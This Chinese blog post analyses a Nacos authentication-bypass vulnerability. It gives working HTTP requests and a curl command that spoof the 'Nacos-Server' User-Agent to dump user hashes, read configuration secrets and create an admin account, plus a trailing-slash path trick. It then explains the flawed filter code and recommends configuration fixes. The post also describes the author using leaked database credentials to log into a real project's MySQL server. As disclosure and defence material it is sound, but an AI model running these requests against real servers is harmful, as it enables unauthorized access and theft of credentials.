什么是nacos
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。 Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
服务(Service)是 Nacos 世界的一等公民。Nacos 支持几乎所有主流类型的“服务”的发现、配置和管理:
Kubernetes Service
gRPC & Dubbo RPC Service
Spring Cloud RESTful Service
更多可见 https://nacos.io/zh-cn/docs/what-is-nacos.html
漏洞概述
参考:
threedr3am发现的漏洞 https://github.com/alibaba/nacos/issues/4593
https://nacos.io/en-us/blog/nacos-security-problem-note.html
Nacos官方仓库的issue中披露了Nacos存在一个由于不当处理User-Agent导致的鉴权绕过漏洞。
影响版本
Nacos <= 2.0.0-ALPHA.1
漏洞危害
(1)检测是否为nacos
Request
GET /nacos/ HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ResponseBody中有Nacos 就是Nacos没错了。
(2)
Request:
GET /nacos/v1/auth/users?pageNo=1&pageSize=900 HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Response
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:06:28 GMT
Connection: close
Content-Length: 159
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}
注意这个hash可知是默认账号nacos的默认密码nacos
(3)
Request: 查看敏感配置 可能有数据库密码
GET /nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ResponseBody:
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:07:44 GMT
Connection: close
Content-Length: 65
{"totalCount":0,"pageNumber":1,"pagesAvailable":0,"pageItems":[]}
(4)
新增一个用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test' -H 'User-Agent: Nacos-Server'
Request:
POST /nacos/v1/auth/users HTTP/1.1
Host: 10.0.0.22:8848
User-Agent: Nacos-Server
Accept: application/json, text/plain, /
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 27
username=test&password=test
ResponseBody:
HTTP/1.1 200
Content-Type: application/json;charset=UTF-8
Date: Thu, 21 Jan 2021 03:28:18 GMT
Connection: close
Content-Length: 52
{"code":200,"message":"create user ok!","data":null}
再次查看用户列表发现,创建用户test成功了。
访问首页http://127.0.0.1:8848/nacos/
然后登录刚创建的账号test,就可以配置管理、服务管理、集群管理等。
漏洞案例
参考http://moguit.cn/#/info?blogOid=586
有个开源博客项目
获取配置 http://your_ip:8848/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=10&tenant=dev&search=accurate
其中里面包含了 MySQL 的账号密码,Redis 的账号密码。
而且因为之前开发者为了方便,并没有对配置文件的用户和密码进行加密处理,所以直接显示的就是明文。
同时因为经常为了远程调试方便,开放了 MySQL 的 3306 端口。
下面我通过找到的 IP地址 和 MySQL 的账号密码,直接连上了数据库:
漏洞分析
这是来自threedr3am的分析(原issue可能被删除,备份一下)
问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public class AuthFilter implements Filter {
@Autowired
private AuthConfigs authConfigs;
@Autowired
private AuthManager authManager;
@Autowired
private ControllerMethodsCache methodsCache;
private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (authConfigs.isEnableUserAgentAuthWhite()) {
String userAgent = WebUtils.getUserAgent(req);
if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}
} else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
.isNotBlank(authConfigs.getServerIdentityValue())) {
String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
req.getRemoteHost());
} else {
resp.sendError(HttpServletResponse.SC_FORBIDDEN,
"Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
+ " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
return;
}
try {
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
...鉴权代码
}
...
}
...
}
可以看到,上面三个if else分支:
第一个是authConfigs.isEnableUserAgentAuthWhite()
它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);
第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复
第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应
问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置
nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:
if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
chain.doFilter(request, response);
return;
}
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
Method method = methodsCache.getMethod(req);
if (method == null) {
chain.doFilter(request, response);
return;
}
…鉴权代码
可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}
RequestMappingInfo bestMatch = matchedInfo.get(0);
if (matchedInfo.size() > 1) {
RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
matchedInfo.sort(comparator);
bestMatch = matchedInfo.get(0);
RequestMappingInfo secondBestMatch = matchedInfo.get(1);
if (comparator.compare(bestMatch, secondBestMatch) == 0) {
throw new IllegalStateException(
"Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
+ secondBestMatch + "}");
}
}
return methods.get(bestMatch);
}
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}
这个代码里面,可以很明确的看到,method值的返回,取决于
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
List requestMappingInfos = urlLookup.get(urlKey);
urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:
new URI(request.getRequestURI()).getPath()
一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
得到的path将会是/nacos/v1/auth/users
而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is
得到的path将会是/nacos/v1/auth/users/
通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。
修复方案
在conf/application.properties配置中开启鉴权
启用新机制去避免被非法访问:
开启鉴权
nacos.core.auth.enabled=true
关闭白名单功能
nacos.core.auth.enable.userAgentAuthWhite=false.
配置键值对 [键值对可以自定义]
nacos.core.auth.server.identity.key=aaa
nacos.core.auth.server.identity.value=bbb
文章评论